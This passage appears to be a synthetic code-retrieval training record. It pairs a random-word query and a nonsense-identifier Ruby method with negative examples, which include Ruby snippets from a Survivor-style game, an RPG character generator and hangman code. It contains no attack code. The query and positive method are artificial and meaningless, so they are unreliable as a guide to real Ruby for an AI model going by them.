\"0.5450539\",\n \"0.5447839\",\n \"0.54403347\",\n \"0.5439047\",\n \"0.54324454\",\n \"0.54272854\",\n \"0.5408209\",\n \"0.5408209\",\n \"0.5406128\",\n \"0.5387044\",\n \"0.5378832\",\n \"0.53733784\",\n \"0.5357152\",\n \"0.53477633\",\n \"0.53293085\",\n \"0.5308852\",\n \"0.5306691\",\n \"0.52896136\",\n \"0.52822495\",\n \"0.5281576\",\n \"0.5251529\",\n \"0.5248064\",\n \"0.5241243\",\n \"0.5237022\",\n \"0.5230545\",\n \"0.5228715\",\n \"0.52275264\",\n \"0.5208533\",\n \"0.51924306\",\n \"0.5188247\",\n \"0.51880074\",\n \"0.5184248\",\n \"0.5182224\",\n \"0.51815253\",\n \"0.5179715\",\n \"0.5179715\",\n \"0.5178689\",\n \"0.51742524\",\n \"0.5166774\",\n \"0.5165803\",\n \"0.51623654\",\n \"0.516131\",\n \"0.5157937\",\n \"0.5149122\",\n \"0.51474816\",\n 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upsilon Uncontrollably talpidae preadolescent bachelordom nonconnivance bejezebel Compliably miaplacidus vicegeral smectymnuus corticose polyadenitis Anoplonemertean burucha muchness uncock proexperiment melanogaster Superpolitic prodenominational phosis opprobriously urogram pentanone"},"document":{"kind":"string","value":"def scabrous_sphenophyllaceae_fogdog(metastable, meio, unawakenedness_notably)\n redry_manifoldwise_photoactive()\n spongiae(internuncius)\n radialization?(lealness_pratiloma)\n end"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def topsman_periphacitis_urosteon()\n end","def phase_one\n 8.times do\n @borneo.immunity_challenge.tribal_council()\n puts\n end\nend","def superweening_adorningly(counterstand_pyrenomycetales)\n end","def phase_one\n puts \"~~~~~PHASE 1~~~~~\".yellow\n 8.times do\n @borneo.immunity_challenge.tribal_council\n puts\n end\nend","def work_out\n self.happiness += 2\n self.hygiene -= 3\n return \"♪ another one bites the dust ♫\" \n end","def work_out\n self.happiness = @happiness + 2\n self.hygiene = @hygiene - 3\n \"♪ another one bites the dust ♫\"\n end","def in_law; end","def wreathmaking(squilla, noncarbonate_tilly, angionosis_parvolin)\n prealarm_plaidie_premolar(philofelist, unacceptableness_printless)\n suzan()\n end","def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n @hygiene\n end","def romeo_and_juliet; end","def combustion_eff_to_thermal_eff(combustion_eff)\n \n return combustion_eff - 0.007 # Per PNNL doc, Boiler Addendum 90.1-04an\n \nend","def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end","def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end","def king_richard_iii; end","def bellini; end","def phase_one\n\tputs \"Phase 1\"\n\t8.times do\n\t\ttribe_lost = @borneo.immunity_challenge\n\t\tputs \"#{tribe_lost.name} lost the game for immunity.\".green\n\t\tmember_voted_out = tribe_lost.tribal_council\n\t\tputs \"The tribe has spoken! #{member_voted_out.name.capitalize} it is time to go!\".green\n\t\tputs\n\tend\nend","def emotional_adjective; end","def afue_to_thermal_eff(afue)\n \n return afue # Per PNNL doc, Boiler Addendum 90.1-04an\n \nend","def commands\n hand_code = []\n #split = number.split(//)\n \n # split_num.each do |char|\n \n if number[-1] == \"1\"\n hand_code << \"wink\"\n end\n \n if number[-2] == \"1\"\n hand_code << \"double blink\"\n end\n\n if number[-3] == \"1\"\n hand_code << \"close your eyes\"\n end\n\n if number[-4] == \"1\"\n hand_code << \"jump\"\n end\n\n if number[-5]==\"1\"\n hand_code.reverse!\n end\n p hand_code\n end","def commands\n hand_code = []\n #split = number.split(//)\n \n # split_num.each do |char|\n \n if number[-1] == \"1\"\n hand_code << \"wink\"\n end\n \n if number[-2] == \"1\"\n hand_code << \"double blink\"\n end\n\n if number[-3] == \"1\"\n hand_code << \"close your eyes\"\n end\n\n if number[-4] == \"1\"\n hand_code << \"jump\"\n end\n\n if number[-5]==\"1\"\n hand_code.reverse!\n end\n p hand_code\n end","def chondromyxoma(buckshee, uncongenially_chiquitan)\n end","def phase_one\n\t#Intro\n\n\t\t@borneo.tribes.each do |tribe|\n\t\tputs \"Welcome #{tribe}\".green\n\t\tend\n\nprint_header(\"For Phase 1, you will now compete in 8 challenges for immunity. Good luck!\")\n\n\t8.times do\n\t\timmunity_challenge_losing_tribe = @borneo.immunity_challenge\n\t\tputs \"#{immunity_challenge_losing_tribe}\".green + \" has lost the immunity challenge and must now vote out 1 member.\"\n\t\tmember_voted_off = immunity_challenge_losing_tribe.tribal_council\n\tend\t\nend","def forkless(interspinous_interdevour, cladodontid_michel)\n end","def electromechanical; end","def ec2(amp = 0.2, tonics = [:e2], num = 4, synth = :fm)\n num.times do\n synth synth, note: chord(tonics.choose, [:m11, :m9, :major, :major7].choose),\n attack: [1, 0.75, 1.25, 1.5, 2].choose, cutoff: 80,\n amp: amp, pan: rrand(-0.2,0.2)\n sleep 1\n end\nend","def jeuTermine\n\t\tlancementAventure(@tailleGrille+1)\n\tend","def phase_three\n puts \"Phase 3 has been started\"\n\n 7.times do\n immune = @borneo.individual_immunity_challenge\n puts \"#{immune} wins the immunity\".blue\n\t\tvoted_off_contestant = @merge_tribe.tribal_council(immune: immune)\n\t\t@jury.add_member voted_off_contestant\n\t\tputs \"#{voted_off_contestant}! is OUT!\".red\n end\nend","def tongue_twister; end","def extracosmic_expansive_onstand(lymphatolysis_fissure, french, whauve_diapophysial)\n unsuckled_catsup(apterygota, unfightable_phoneticist)\n end","def phase_one\n puts \"Get ready to start Part 1.\".light_grey\n puts \"Each Tribe will participate in an immunity challenge.\".light_grey\n puts \"The losing Tribe will then vote someone off the island.\".light_grey\n 8.times do \n\t#Sets variable for tribe loser of immunity challege\n\tlosing_tribe = @borneo.immunity_challenge \n\tputs \"#{losing_tribe} \".red + \"has lost the challenge and will vote someone off the island.\"\n\t#Losing tribe holds tribal council and votes off member\n\tmember_voted_off = losing_tribe.tribal_council\n\tputs \"Sadly, \" + \"#{member_voted_off} \".green + \"has been voted off the island.\"\n end\nend","def processa_tudo\n processa_us\n processa_de\n processa_frmt\n processa_eth\n processa_eos\n processa_bc\n end","def grasa\n\t\t1.2*imc+0.23*@edad-10.8*@sexo-5.4\n\tend","def work_out\n self.hygiene -= 3\n self.happiness += 2\n return \"♪ another one bites the dust ♫\"\nend","def mill_motor_housing\r\n # # # # # # # # #\r\n end","def potion; end","def terpene; end","def motto; end","def imc \n\t\t@peso/(@talla*@talla)\n\tend","def pectoralis_stretch\n \"Clasp hands behind your back. Push the chest outward, and raise the chin. Hold the pose for 10 to 30 seconds.\"\nend","def phase_two\n puts \"Phase 2 has been started\"\n\n 3.times do\n immune = @borneo.individual_immunity_challenge\n puts \"#{immune} win the immunity\".blue\n voted_off_contestant = @merge_tribe.tribal_council({immune: immune})\n puts \"#{voted_off_contestant} is OUT!\".red\n end\nend","def suivre; end","def virus_effects\n predicted_deaths\n speed_of_spread\n print\n end","def virus_effects\n predicted_deaths\n speed_of_spread\n print\n end","def virus_effects\n print \"#{@state} will lose #{predicted_deaths} people in this outbreak \n and the outbreak will spread across the state in #{speed_of_spread} months. \\n\\n\"\n end","def psh_bonuses(roll)\n case roll\n when 1..5\n @@skills << \"Brawling\"\n puts \"Brawling skill\"\n when 6..10\n @@skills << \"Stealth\"\n puts \"Stealth skill\"\n when 11..15\n @@skills << \"Weapons Expert\"\n puts \"Wpn expert!\"\n when 16..20\n @@skills << \"Dodge\"\n puts \"Dodge skill\"\n when 21..37\n @@endurance += 1\n @@strength += 1\n @@agility += 1\n @@accuracy += 1\n @@willpower += 1\n @@intelligence += 1\n @@perception += 1\n @@appearance += 1\n puts \"+1 to each attribute\"\n when 38..44\n @@endurance += (d(6) + d(6))\n puts \"+2d6 endurance\"\n when 45..51\n @@strength += (d(6) + d(6))\n puts \"+2d6 strength\"\n when 52..58\n @@agility += (d(6) + d(6))\n puts \"+2d6 agility\"\n when 59..65\n @@accuracy += (d(6) + d(6))\n puts \"+2d6 accuracy\"\n when 66..74\n @@intelligence += (d(6) + d(6) + d(6))\n puts \"+3d6 intelligence\"\n when 75..83\n @@willpower += (d(6) + d(6))\n puts \"+2d6 willpower\"\n when 84..90\n @@appearance += (d(6) + d(6) + d(6))\n puts \"+3d6 appearance\"\n when 91..97\n @@skills << \"Martial Arts\"\n puts \"Martial arts skill!\"\n when 98..99\n @@endurance += 2\n @@strength += 2\n @@agility += 2\n @@accuracy += 2\n @@willpower += 2\n @@intelligence += 2\n @@perception += 2\n @@appearance += 2\n puts \"+2 to each attribute\"\n when 100\n @@endurance += d(6)\n @@strength += d(6)\n @@agility += d(6)\n @@accuracy += d(6)\n @@willpower += d(6)\n @@intelligence += d(6)\n @@perception += d(6)\n @@appearance += d(6)\n puts \"JACKPOT -- +d6 to EACH Attribute!\"\n end\n\n end","def nonstriker_perimartium(pronunciation_crotched)\n end","def secret_formula(started)\r\n\tjelly_beans = started * 500\r\n\tjars = jelly_beans / 1000\r\n\tcrates = jars / 100\r\n\treturn jelly_beans, jars, crates\r\nend","def act_smart\n return \"E = mc^2\"\n end","def take_bath\n #increment hygiene_points by 4\n #return string \"♪ Rub-a-dub just relaxing in the tub ♫\"..\n self.hygiene +=4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end","def romeo_and_juliet_quote; end","def secret_formula(started)\n jelly_beans = started * 500\n jars = jelly_beans / 1000\n crates = jars / 100\n return jelly_beans, jars , crates\nend","def future_passive_participle\n mybase = participial_stem+\"nd\"\n singular_endings=%w(us a um)\n return singular_endings.collect{|x|Linguistics::Latin::Phonographia.fix_macrons( mybase+\"#{x}\".chomp)}.join(', ')\n end","def virus_effects\r\n predicted_deaths\r\n speed_of_spread\r\n print \"#{@state} will lose #{predicted_deaths} people in this outbreak and will spread across the state in #{speed_of_spread} months.\\n\\n\"\r\n end","def throw_fierce_lqqks\n 'Here I am, giving you Soviet-Satellite realness'\n end","def basellaceae(unconsented_neomodal, goclenian_cytozoon, musseled)\n indefensibly_tencteri(scourwort)\n bambini_wolfishly(trolleyful_unimproving)\n unbenumbed(inappropriable_platycephalous, epitasis_ergatandromorph)\n end","def jack_handey; end","def difficultly(qoph_ridding, fadedness_santalaceae)\n biopsychologist_hamidian_tachardiinae()\n inigo()\n huddock_konde(phrenitic, mistake, condurango_cymoscope)\n end","def silly_adjective; end","def caste_based_details(caste)\n case caste\n when \"Slave, Labor\"\n\n @@endurance += d(10)\n @@strength += d(10)\n @@intelligence = [@@intelligence - d(10), 1].max\n @@perception = [@@perception - d(6), 1].max\n @@outfittingcode = \"Escaped Prisoner\"\n puts \"+d10 to Endurance and Strength; -d10 to Intelligence, -d6 to Perception.\"\n bounty_chance(32,(20 + (d(6) + d(6) + d(6))))\n\n\n when \"Slave, Kitchen\"\n\n @@endurance = [@@endurance - d(6), 1].max\n @@strength = [@@strength - d(6), 1].max\n @@intelligence += d(6)\n @@willpower = [@@willpower - d(12), 1].max\n @@outfittingcode = \"Escaped Prisoner\"\n bounty_chance(27,(20 + (d(6) + d(6) + d(6))))\n\n when \"Slave, Servant\"\n\n @@endurance = [@@endurance - d(6), 1].max\n @@strength = [@@strength - d(6), 1].max\n @@intelligence += d(6)\n @@perception += d(6)\n @@willpower = [@@willpower - d(6), 1].max\n @@outfittingcode = \"Escaped Prisoner\"\n @@misc_skill_rolls += 1\n bounty_chance(76,(100 + (d(6) + d(6) + d(6))))\n @@literacy = \"Literate\"\n\n when \"Slave, Whore\"\n\n @@endurance = [@@endurance - d(6), 1].max\n @@strength = [@@strength - d(6), 1].max\n @@intelligence = [@@intelligence - d(6), 1].max\n @@willpower = [@@willpower - d(6), 1].max\n @@appearance += d(6)\n @@outfittingcode = \"Escaped Prisoner\"\n @@skills << \"Erotic Arts\"\n bounty_chance(82,(100 + (d(4) * 25)))\n\n when \"Slave, Court\"\n\n @@endurance = [@@endurance - d(6), 1].max\n @@strength = [@@strength - d(6), 1].max\n @@intelligence = [@@intelligence - d(6), 1].max\n @@perception += d(6)\n @@willpower = [@@willpower - d(6), 1].max\n @@appearance += d(6)\n @@outfittingcode = \"Escaped Prisoner\"\n @@misc_skill_rolls += d(3)\n bounty_chance(87,(100 + (d(4) * 25)))\n @@literacy = \"Literate\" # assumption\n @@number_of_languages += d(4)\n @@character_notes << \"Has a fairly accurate knowledge of the political and geographic layout of the region.\"\n\n\n when \"Slave, Gladiator\"\n\n @@endurance += (d(10) + d(10))\n @@strength += (d(10) + d(10))\n @@agility += d(8)\n @@accuracy += d(8)\n @@intelligence = [@@intelligence - d(10), 1].max\n @@perception += d(8)\n @@willpower = [@@willpower - d(4), 1].max\n @@appearance = [@@appearance - (d(8) + d(8)), 1].max\n @@outfittingcode = \"Escaped Prisoner\"\n d(3).times do\n @@skills << \"Brawling\"\n end\n @@warrior_skill_rolls += (4+(rand(1..4)))\n bounty_chance(94,(200 + (d(100) + d(100))))\n literacy_chance(2,0)\n\n\n when \"Fisher\"\n\n @@endurance += d(6)\n @@strength += d(6)\n @@perception += d(8)\n @@outfittingcode = \"Poor\"\n d(3).times do\n @@skills << \"Spear Weapons\"\n end\n @@misc_skill_rolls += 1\n @@equipment << \"collapsible wooden fishing rod with reel\";\"30m of fshing line\";\"fishing hooks and lures\";\n \"small fshing net\";\"fishing spear/harpoon\"\n literacy_chance(6,0)\n\n when \"Hunter\"\n\n @@endurance += d(8)\n @@strength += d(8)\n @@agility += d(6)\n @@accuracy += d(6)\n @@perception += d(8)\n @@outfittingcode = \"Poor\"\n d(3).times do\n @@skills << \"Weapons Expert: Bow\"\n end\n @@skills << \"Wilderness Survival\"\n @@misc_skill_rolls += 1\n @@character_notes << \"Accustomed to being outdoors, knows most animals by their tracks, and can start a fre with mere sticks, knows how to conceal the fre at night, make simple shelters, snares and deadfall traps.\"\n\n when \"Miner\"\n\n @@endurance += d(10)\n @@strength += (d(10) + (rand(1..10)))\n @@appearance = [@@appearance - d(6), 1].max\n @@outfittingcode = \"Poor\"\n d(3).times do\n @@skills << \"Weapons Expert: Pickaxe\"\n end\n @@misc_skill_rolls += 1\n @@equipment << \"shovel\"; \"pickaxe\"; \"#{d(20) + d(20) + d(20)} m rope\"; \"lantern and oil\"\n literacy_chance(5,0)\n\n when \"Logger\"\n\n @@endurance += d(8)\n @@strength += d(8)\n @@agility += d(6)\n @@perception += d(6)\n @@appearance = [@@appearance - d(3), 1].max\n @@outfittingcode = \"Poor\"\n d(3).times do\n @@skills << \"Weapons Expert: Axe\"\n end\n @@misc_skill_rolls += 1\n @@equipment << \"hatchet\"; \"logger's double-headed axe (battle axe)\"\n @@character_notes << \"+3 initiative in encounters with carnivorous mutant plants\"\n literacy_chance(6,0)\n\n when \"Farmer\"\n\n @@endurance += d(6)\n @@strength += d(6)\n @@perception += d(6)\n @@outfittingcode = 'Poor'\n d(3).times do\n @@skills << \"Weapons Expert: Pitchfork\"\n end\n @@misc_skill_rolls += 1\n @@character_notes << \"Can throw pitchfork 2x typical range\"\n literacy_chance(4,32)\n\n when \"Nomad\"\n\n @@agility += d(10)\n @@perception += d(6)\n @@outfittingcode = \"Poor\"\n d(3).times do\n @@skills << \"Rider\"\n end\n @@skills << \"Navigate by Stars\"\n @@misc_skill_rolls += d(3)\n literacy_chance(13,18)\n\n when \"Trader\"\n def trader_background(roll)\n case roll\n when 1..34\n \"self-employed traveling peddler\"\n else\n \"merchant's apprentice\"\n end\n end\n def trader_debt(roll)\n case roll\n when 1..23\n @@debts << \"Owes #{(d(1000) + d(1000) + d(1000))} to the merchant's guild of the largest regional free town.\"\n end\n end\n @@intelligence += (d(10) + (d(10)))\n @@perception += d(10)\n @@outfittingcode = \"Well Equipped\"\n @@skills << \"Barter\"\n @@misc_skill_rolls += (1 + d(3))\n @@character_notes << \"Was a #{trader_background(d(100))} before becoming an excavator.\"\n @@number_of_languages += d(4)\n @@literacy = \"Literate\"\n @@do_math = \"Can do math\"\n @@money += (d(100) + d(100))\n trader_debt(d(100))\n\n when \"Craftsperson\"\n def craft_specialty(roll) # Hub Rules p. 14\n case roll\n when 1\n \"glass and plastic jeweler\"\n when 2\n \"potter\"\n when 3\n \"leatherworker\"\n when 4\n \"fletcher/arrow crafter\"\n when 5\n \"beer and wine brewer\"\n when 6\n \"paper maker\"\n when 7..8\n \"cook at an inn\"\n when 9\n \"visual art (maps, signs, insignia, wanted posters, etc.)\"\n when 10\n \"smithy assistant\"\n when 11\n \"weaver\"\n when 12\n \"butcher's assistant\"\n when 13\n \"glass blower\"\n when 14\n \"tattoo artist\"\n when 15..19\n \"carpenter's assistant\"\n when 20\n \"stone mason's assistant\"\n end\n end\n if @@intelligence >= 35\n @@literacy = \"Literate\"\n end\n @@character_notes << \"Before becoming an excavator, worked as a #{craft_specialty(d(20))}\"\n\n when \"Student\"\n\n @@endurance = [@@endurance - d(6), 1].max\n @@strength = [@@strength - d(6), 1].max\n @@intelligence += (d(10) + d(10) + d(10))\n @@appearance += d(6)\n @@outfittingcode = \"Modest\"\n @@educated_skill_rolls += (d(6) + d(6) + 2)\n @@misc_skill_rolls += d(2)\n @@number_of_languages += d(4)\n @@literacy = \"Literate\"\n @@do_math = \"Can do math\"\n\n when \"Scribe\"\n def scribe_past(roll)\n case roll\n when 1..66\n \"local government\"\n else\n \"powerful merchant\"\n end\n end\n bounty_chance(22,(250 + (d(100) + d(100))))\n if @@bounty_offered == \"Yes\"\n @@bounty_offered = \"Yes (death)\"\n @@character_notes << \"Certain secrets crossed this scribe's desk, resulting in a hefty bounty...\"\n end\n @@endurance = [@@endurance - d(6), 1].max\n @@strength = [@@strength - d(6), 1].max\n @@perception += d(6)\n @@outfittingcode = \"Modest\"\n @@educated_skill_rolls += d(3)\n @@misc_skill_rolls += 1\n @@literacy = \"Literate\"\n @@do_math = \"Advanced math\"\n @@character_notes << \"Scribe worked for a #{scribe_past(d(100))} and has a clear knowledge of regional settlements and political climate.\"\n @@number_of_languages += (d(3) + 1)\n\n when \"Technician\"\n\n @@agility += d(3)\n @@accuracy += d(3)\n @@intelligence += (d(8) + rand(1..8))\n @@outfittingcode = \"Well Equipped\"\n @@tech_skill_rolls += (d(6) + rand(1..6))\n @@educated_skill_rolls += rand(1..2)\n @@misc_skill_rolls += d(3)\n bounty_chance(28,(200 + (d(100) + d(100))))\n\n when \"Street Urchin\"\n def urchin_past(roll)\n case roll\n when 1..26\n \"runaway\"\n else\n \"orphan\"\n end\n end\n def urchin_outlaw(roll)\n case roll\n when 1..6\n @@character_notes << \"Wanted by the law: if arrested in hometown, faces #{(d(6) + d(6))}-year prison sentence\"\n end\n end\n def urchin_debt(roll)\n case roll\n when 1..12\n @@debts << \"Owes #{(d(100) + d(100) + d(100))} to former gang in home town, who'll beat and rob the character if s/he returns.\"\n end\n end\n @@character_notes << \"Character was a/an #{urchin_past(d(100))} before becoming an excavator.\"\n @@endurance = [@@endurance - d(6), 1].max\n @@strength = [@@strength - d(3), 1].max\n @@agility += d(10)\n @@accuracy += d(6)\n @@appearance = [@@appearance - d(6), 1].max\n @@outfittingcode = \"Impoverished\"\n #skills: brawling d3; criminal d3+1; 1 misc roll\n @@criminal_skill_rolls += d(3)\n @@misc_skill_rolls += 1\n d(3).times do\n @@skills << \"Brawling\"\n end\n urchin_debt(d(100))\n\n when \"Street Thug\"\n\n @@endurance += (d(6) + d(6))\n @@strength += (d(6) + + d(6))\n @@intelligence = [@@intelligence - d(6), 1].max\n @@appearance = [@@appearance - d(6), 1].max\n @@outfittingcode = \"Poor\"\n #skills: brawling d4; criminal 2; warrior 2; 1 roll on misc table\n d(4).times do\n @@skills << \"Brawling\"\n end\n @@criminal_skill_rolls += 2\n @@warrior_skill_rolls += 2\n @@misc_skill_rolls += 1\n literacy_chance(14,19)\n bounty_chance(15,\"Death\")\n\n when \"Raider\"\n def has_horse(roll)\n case roll\n when 1..36\n @@equipment << \"Saddle horse\"\n end\n end\n @@endurance += d(10)\n @@strength += d(10)\n @@outfittingcode = \"Poor\"\n #skills: rider d3; criminal 2; warrior 2; 1 roll on misc table\n d(3).times do\n @@skills << \"Riding\"\n end\n @@criminal_skill_rolls += 2\n @@warrior_skill_rolls += 2\n @@misc_skill_rolls += 1\n has_horse(d(100))\n literacy_chance(16,21)\n @@character_notes << \"9% chance per encounter with any raiders character is recognized, and raiders will (d6: 1-3. try and sell him as a slave/ 4,5. forcibly enlist him and his companions / 6. kill him.)\"\n\n when \"Pirate\"\n\n @@endurance += d(10)\n @@strength += d(10)\n @@outfittingcode = \"Poor\"\n #skills: navigate by stars 1; criminal 2; warrior 2; 1 roll on misc table\n @@skills << \"Navigate by Stars\"\n @@criminal_skill_rolls += 2\n @@warrior_skill_rolls += 2\n @@misc_skill_rolls += 1\n literacy_chance(9,12)\n @@character_notes << \"In any encounters with pirates, character is 46% likely to be recognized by a crew member. If so, she will be deemed a traitor to her caste and either stripped and sold as a slave, after a good flogging (01-79% chance), or (80-00%) drawn and quartered on the spot.\"\n\n when \"Thief\"\n\n @@endurance = [@@endurance - d(3), 1].max\n @@strength = [@@strength - d(3), 1].max\n @@agility += d(12)\n @@accuracy += d(8)\n @@outfittingcode = \"Impoverished\"\n #skills: brawling 1; criminal d3+4; 1 roll on misc table\n @@skills << \"Brawling\"\n @@criminal_skill_rolls += (d(3) + 4)\n @@misc_skill_rolls += 1\n literacy_chance(17,24)\n # @@equipment << \"lock pick set\", \"30m of rope\", \"a dark cloak\", \"soft boots for quiet walking\"\n bounty_chance(57,(d(100) + d(100) + d(100) + d(100)))\n if @@bounty_value > 0\n @@character_notes << \"In hometown, 78% likely character is recognized and 2d6 raiders are sent to cripple and rob her, plus any associates she might travel with.\"\n end\n\n when \"Assassin\"\n\n @@endurance += d(6)\n @@strength += (d(6) + (rand(1..6)))\n @@agility += d(10)\n @@accuracy += d(10)\n @@perception += d(10)\n @@outfittingcode = \"Fully Armed\"\n #skills: martial arts d4; knife throwing d3; criminal d3; warrior d6; 1 roll on misc table\n d(4).times do\n @@skills << \"Martial Arts\"\n end\n d(3).times do\n @@skills << \"Knife Throwing\"\n end\n @@criminal_skill_rolls += d(3)\n @@warrior_skill_rolls += d(6)\n @@misc_skill_rolls += 1\n\n @@equipment << \"black cloak and ninja style outfit (in addition to regular streeth clothes)\"\n def assassin_poison(roll)\n case roll\n when 1..7\n @@equipment << \"100ml of type C death poison (10ml needed to coat a blade and potentially poison anybody who is punctured)\"\n end\n end\n assassin_poison(d(10))\n @@character_notes << \"In each encounter with bounty hunters, 41% chance character wanted dead.\"\n @@character_notes << \"While entering any town while not in disguise, 13% chance per day that the assassin’s brotherhood have located him and will send d6+2 members after him that night.\"\n\n when \"Draftee\"\n def draftee_history(roll)\n case roll\n when 1..87\n \"Drafted for home town militia\"\n else\n \"Drafted while visiting a neighboring town\"\n end\n end\n @@endurance += d(3)\n @@strength += d(3)\n @@outfittingcode = \"Modest\"\n #skills: warrior 1; misc d2\n @@warrior_skill_rolls += 1\n @@misc_skill_rolls += d(2)\n literacy_chance(28,33)\n @@character_notes << \"73% chance upon returning to town where drafted, she'll be recognized and arrested. d6: 1-3. hang her from the nearest tree/ 4,5. sell her as a slave/ 6. put her in jail for 2d6 months before drafting her back into the army, but chain her at night.\"\n\n when \"Militia Soldier\"\n\n @@endurance += d(6)\n @@strength += d(6)\n @@outfittingcode = \"Modest\"\n #skills: warrior d3; misc d2\n @@warrior_skill_rolls += d(3)\n @@misc_skill_rolls += d(2)\n literacy_chance(32,39)\n\n when \"Watchman\"\n\n @@endurance += d(6)\n @@strength += d(10)\n @@perception += d(10)\n @@outfittingcode = \"Well Equipped\"\n #skills: brawling d3; warrior d3; misc d2\n d(3).times do\n @@skills << \"Brawling\"\n end\n @@warrior_skill_rolls += d(3)\n @@misc_skill_rolls += d(2)\n @@character_notes << \"not well liked in his home town, and if he returns, there is a 17% chance that a mob of 2d8 raiders will somehow try to corner him and his associates, and beat them soundly, if not kill them.\"\n literacy_chance(22,31)\n\n when \"Infantryman\"\n def infantry_history(roll)\n case roll\n when 1..68\n @@character_notes << \"Deserter. 47% chance per encounter with city's/nation's army, character recognized and jailed 2d6 years.\"\n @@enemies << \"City/nation army character previously served with.\"\n when 69..89\n @@character_notes << \"Retiree from the army. 47% chance per encounter with city's/nation's army, character recognized, saluted, and assisted.\"\n when 90..100\n @@character_notes << \"AWOL - was sole survivor of an operation and never returned to active duty. 47% chance per encounter with city's/nation's army, character recognized and reassigned to a new unit.\"\n end\n end\n infantry_history(d(100))\n @@endurance += d(12)\n @@strength += d(12)\n @@outfittingcode = \"Well Equipped\"\n #skills: warrior d6; misc d2\n @@warrior_skill_rolls += d(6)\n @@misc_skill_rolls += d(2)\n literacy_chance(15,22)\n\n when \"Cavalry\"\n def cavalry_history(roll)\n case roll\n when 1..68\n @@character_notes << \"Deserter. 47% chance per encounter with city's/nation's army, character recognized and jailed 2d6 years.\"\n when 69..89\n @@character_notes << \"Retiree. 47% chance per encounter with city's/nation's army, character recognized, saluted, and assisted.\"\n when 90..100\n @@character_notes << \"AWOL - was sole survivor of an operation and never returned to active duty. 47% chance per encounter with city's/nation's army, character recognized and reassigned to a new unit.\"\n end\n end\n cavalry_history(d(100))\n @@endurance += d(10)\n @@strength += d(12)\n @@agility += d(3)\n @@outfittingcode = \"Well Equipped\"\n #skills: riding d6; warrior d4; misc d2\n d(6).times do\n @@skills << \"Riding\"\n end\n @@warrior_skill_rolls += d(4)\n @@misc_skill_rolls += d(2)\n literacy_chance(15,22)\n\n when \"Mercenary\"\n def mercenary_bonus_skills(roll1,roll2,roll3,roll4,roll5,roll6)\n case roll1\n when 1..36\n d(3).times do\n @@skills << \"Gambling\"\n end\n end\n case roll2\n when 1..14\n @@skills << \"Negotiation\"\n end\n case roll3\n when 1..32\n d(3).times do\n @@skills << \"Lying\"\n end\n end\n case roll4\n when 1..29\n d(3).times do\n @@skills << \"Riding\"\n end\n end\n case roll5\n when 1..32\n @@criminal_skill_rolls += d(3)\n end\n case roll6\n when 1..43\n @@equipment << \"Riding horse\"\n end\n end\n def mercenary_history(roll)\n case roll\n when 1..87\n @@character_notes << \"Left mercenary employment on good terms.\"\n when 88..100\n @@character_notes << \"14% likely per every meeting with mercenaries in that region that he will run into his own squad, who will be angry that he left and rob and sell him into slavery, along with any companions.\"\n end\n end\n mercenary_bonus_skills(d(100),d(100),d(100),d(100),d(100),d(100))\n mercenary_history(d(100))\n @@endurance += d(10)\n @@strength += d(10)\n @@agility += d(6)\n @@accuracy += d(6)\n @@outfittingcode = \"Well Equipped\"\n #skills: brawling d3; warrior d6; misc d4\n d(3).times do\n @@skills << \"Brawling\"\n end\n @@warrior_skill_rolls += d(6)\n @@misc_skill_rolls += d(4)\n literacy_chance(18,27)\n\n when \"Elite Soldier\"\n def elite_soldier_history(roll)\n case roll\n when 1..38\n @@character_notes << \"Retired from military service.\"\n else\n case bounty_roll(roll)\n when 1..73\n @@bounty_offered = (200 + d(100) + d(100))\n @@enemies << \"Squad of #{d(6) + d(6) + d(6)} from former military company hunting this character.\"\n end\n bounty_roll(d(100))\n end\n end\n elite_soldier_history(d(100))\n @@endurance += (d(8) + (rand(1..8)))\n @@strength += (d(8) + (rand(1..8)))\n @@agility += d(8)\n @@accuracy += d(8)\n @@willpower += d(8)\n @@outfittingcode = \"Well Equipped\"\n #skills: brawling d4; warrior d6+4; misc d4\n d(4).times do\n @@skills << \"Brawling\"\n end\n @@warrior_skill_rolls += (4 + d(6))\n @@misc_skill_rolls += d(4)\n literacy_chance(34,41)\n\n else puts \"Hmm... looks like caste-based attributes and skills assignment screwed up. Debug mofo!\"\n\n end\n\nend","def hornlike(adet_mortification, hyperconscious)\n shadowiness_priceable(disinterment, pericellular_homogenization)\n counterbreastwork_knickerbockered()\n subspecialty_universalian(whereon, ciliated_papaverous, eurhodine)\n end","def breathe\n \"i get oxygen from the water\"\n end","def process_credit_statement\n\t\tcredit_price_of_metal_coins = 0\n\t\tgalactic_units = []\n\t\tcoin_name = \"\"\n\t\t@literals.each do |literal|\n\t\t\tif Translation::galactic_words_roman_symbol_assignments.keys.include?(literal) #returns is the literal passed is a valid galactic word e.g glob is valid, prok is valid\n\t\t\t\tgalactic_units << literal \n\t\t\telsif [\"is\", \"Credits\"].include? literal # Ignore these words, we don't really care of these words in Credit Statement Lines\n\t\t\t\tnext\n\t\t\telsif literal.to_i > 0 #This is the trade metal coins credit value .eg 2 Silver is '34' \n\t\t\t\tcredit_price_of_metal_coins = literal.to_i #e.g 34\n\t\t\telse\n\t\t\t\tcoin_name = literal #.e.g Silver, Gold, Iron\n\t\t\tend\n\t\tend\n\t\tif !coin_name.empty? && credit_price_of_metal_coins > 0 && galactic_units.size > 0\n\t\t\tunits_of_coin_in_galactic_words = Translation.new(galactic_units.join(' ')) #.e.g glob glob \n\t\t\tunits_of_coin_in_numeral = units_of_coin_in_galactic_words.galactic_words_to_numeral #e.g glob glob gets converted to 2\n\t\t\tif units_of_coin_in_numeral > 0\n\t\t\t\tunit_price = credit_price_of_metal_coins.to_f/units_of_coin_in_numeral #e.g 2 Silver is 34 so Unit Price is 32/2\n\t\t\t\tTradeMetal.new(coin_name,unit_price)\n\t\t\telse\n\t\t\t\tthrow_away_meaningless_line\n\t\t\tend\n\t\telse\n\t\t\tthrow_away_meaningless_line\n\t\tend\n\tend","def telaDeAbertura\n # Creditos da tela de abertura\n system \"clear\"\n puts \"\\n\\n\\n\"\n centralizar(\"============ JOGO DA FORCA =============\")\n centralizar(\"Desenvolvido por Wendel Lopes dos Santos\")\n centralizar(\"W3n Gamer - 2020 v.1\")\n # 